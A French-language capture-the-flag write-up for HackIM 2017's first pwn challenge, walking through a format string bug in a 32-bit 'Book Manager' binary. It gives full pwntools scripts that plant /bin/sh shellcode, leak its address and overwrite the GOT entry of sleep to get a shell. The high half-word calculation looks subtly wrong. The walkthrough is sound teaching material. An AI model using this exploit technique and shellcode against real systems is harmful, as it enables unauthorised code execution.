Hackim 2k17 - Exploit1

Le Hackim CTF a été organisé par la Nullcon pour sa 7ème édition, qui aura lieu à Goa. Ce CTF indien propose plusieurs catégories comme du Web, OSINT, Pwn, RE, Crypto, Prog et MISC. Cet article détaille l’exploitation du premier challenge de la catégorie Pwn (Exploit).

Sommaire

  • Reconnaissance
  • Déclencher la vulnérabilité
  • Exploiter la vulnérabilité

Reconnaissance

Voici l’énoncé,

This is a simple program; there’s probably nothing exploitable right? It just works with simple strings! Exploit the daemon at 34.198.96.6:9001

Binary files are available at:

http://34.198.96.6/binaries/

Le challenge nous fourni le binaire à exploiter pour obtenir un shell.

Nous sommes en face d’un programme linux compilé en 32 bits.

$ file level1.bin 
level1.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=33e64ac5c789f74d3d3b204dfe71967f22ba132e, not stripped

Avec la commande objdump, nous allons examiner les droits sur les entêtes du binaire :

$ objdump -x level1.bin | grep -B 1 'rwx'
STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
        filesz 0x00000000 memsz 0x00000000 flags rwx

La pile est executable ceci va nous faciliter la tâche. Lançons le programme, et voyons ce qu’il fait. L’énoncé parle de strings, tilt ! format strings ?

Essayons ;)

./level1.bin 
Book Manager:
    [1] Insert
    [2] List
    [3] Search
    [4] Delete
    [5] Exit

Enter choice: 1
Enter book name: Coucou
Enter book id: 1
Book Manager:
    [1] Insert
    [2] List
    [3] Search
    [4] Delete
    [5] Exit

Enter choice: 3
Search by book_id or name (name:abc, book_id:123)
Enter query: %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Searching with: ff943a8c400f779c53cff943ac4ff943ac0384808180f75940e4f77783c478257825782578257825782578257825782578257825782578257825782578257825782578257825a7825

Book Manager:
    [1] Insert
    [2] List
    [3] Search
    [4] Delete
    [5] Exit

Enter choice:

Nous avons vu juste ! il y’a une format string dans la fonction de recherche passons à l’exploit.

Déclencher la vulnérabilité

En inserant 11 %x on retombe sur notre chaine de départ,

Enter choice: 3
Search by book_id or name (name:abc, book_id:123)
Enter query: AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Searching with: AAAAff943a8c.400.f779c53c.ff943ac4.ff943ac0.3.8480818.0.ff943a8c.0.41414141

Examinons les symboles,

$ objdump -t level1.bin

    level1.bin:     format de fichier elf32-i386

    SYMBOL TABLE:
        [...]
        0804b054 l     O .bss   00000004              book_list
        [...]

Il y’a une variable statique nommée book_list, examinons ça de plus près avec gdb,

gdb-peda$ print book_list
    $2 = 0x8480818
gdb-peda$ x/s 0x8480818
    0x8480818:  "Coucou\n"

Celle-ci contient l’adresse du nom de nôtre premier livre précédemment inséré. On y placeras notre shellcode. Cependant à chaque exécution du programme elle change. Mais on retrouve cette adresse dans le résultat de la format string à la 7ième position.

Dans le programme on peut remarquer un appel à sleep lorsqu’on entre 6, détournons le.

0x08048bf4 <+231>:  push   0x1
0x08048bf6 <+233>:  call   0x8048520 <sleep@plt>

Petite explication pour appeler sleep le programme saute à l’adresse contenue à l’adresse 0x804b020. Voir le code suivant,

gdb-peda$ disas 0x8048520
Dump of assembler code for function sleep@plt:
    0x08048520 <+0>:    jmp    DWORD PTR ds:0x804b020
    0x08048526 <+6>:    push   0x28
    0x0804852b <+11>:   jmp    0x80484c0
gdb-peda$ x/xw 0x804b020
    0x804b020:  0xf7636000 ; adresse de la fonction sleep

Le programme s’occupe de charger dynamiquement les fonctions dont il a besoins, il stocke cette adresse dans la GOT (Global Offset Table).

Testons le payload suivant \x20\xb0\x04\x08%10x%11$hn, %11$hn permet d’écrire, le nombre de caractères (sur 16 bits) imprimés juste avant ( ici 4 + 10 ) , à l’adresse 0x0804b020 .

#!/usr/bin/python
from pwn import *

p = process("level1.bin")
p.sendline("1")           # Insert book
p.sendline("Coucou") # Book name
p.sendline("1")           # Book Id

sleep_addr = p32(0x0804b020)
payload = sleep_addr + "%10x%11$hn"

p.sendline("3")           # Search book
p.sendline(payload)

p.interactive()
p.close()

Si l’on s’attache au programme en cours d’exécution on observe à la place de l’adresse de sleep :

gdb-peda$ x/1xw 0x0804b020
    0x804b020:  0x0804000e

0x0e = 14, en appuyant sur 6 le programme plante sur 0x0804000e ce qui est normal l’adresse n’est pas valide, mais le tour est joué on a redirigé le flux d’exécution du programme.

Exploiter la vulnérabilité

L’étape 1 consiste à insérer notre shellcode,

#!/usr/bin/python
from pwn import *
import binascii

# exec /bin/sh 32 bits
shellcode = "AAAAAAAA\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

p = process("level1.bin")
p.recv(timeout=1)
# Insert book
p.sendline("1")
p.recv(timeout=1)
# Book name
p.sendline(shellcode)
p.recv(timeout=1)
# Book id
p.sendline("1")
p.recv(timeout=1)

( Comme vous pouvez le voir j’ai rajouté du padding, car j’ai constaté uniquement sur ma machine que les premiers octets du shellcode était détruit )

Ensuite on récupère l’adresse de notre shellcode,

payload = ".%x"*11
p.sendline("3") # Search
p.recv(timeout=1)
p.sendline(payload)

line = p.recvline(timeout=1)

p.recv(timeout=1) # clear output buffer

print("[+] %s leaked" % line)

shellcode_addr  = int(line.split(".")[7].zfill(8),16) 
shellcode_addr += 8 # padding

print("[+] shellcode address : 0x%x" % shellcode_addr)

Ensuite on remplace l’adresse de sleep par celle de notre shellcode,

p.sendline("3") # search 
p.recv(timeout=1)

x = shellcode_addr & 0x0000FFFF # low
x-= 4 # ( size in char of p32(0x0804b020)  ) 
payload = p32(0x0804b020) + "%" + str(x) + "x%11$hn"

p.sendline(payload)
p.recv(timeout=1)

p.sendline("3") # search
p.recv(timeout=1)

x = (shellcode_addr & 0xFFFF0000) << 16 # high
x-= 4 
payload = p32(0x0804b022) + "%" + str(x) + "x%11$hn"

p.sendline(payload)
p.recv(timeout=1)

p.interactive()
p.close()

Et paf un shell,

[+] Starting local process './level1.bin': Done 
[+] Searching   with: .ffca9e4c.400.f777a53c.ffca9e84.ffca9e80.3.8571418.0.f75720e4.f77563c4.2e78252e leaked
[+] 0x8571420
[*] Switching to interactive mode
x.400.f777a53c.ffca9e84.ffca9e80.3
\x1b
Book Manager:
    [1] Insert
    [2] List
    [3] Search
    [4] Delete
    [5] Exit

$ 6
$ ls
WU.html  core         exploit.py  level1.c              test
WU.md     examine.py  level1.bin  peda-session-level1.bin.txt  test.py
$

Pour l’exploiter sur la machine distante il faut juste remplacer process par, remote(IP,PORT), la sortie bash est redirigé automatiquement vers nous.

On affiche le flag et hop +200 pts ;)

Share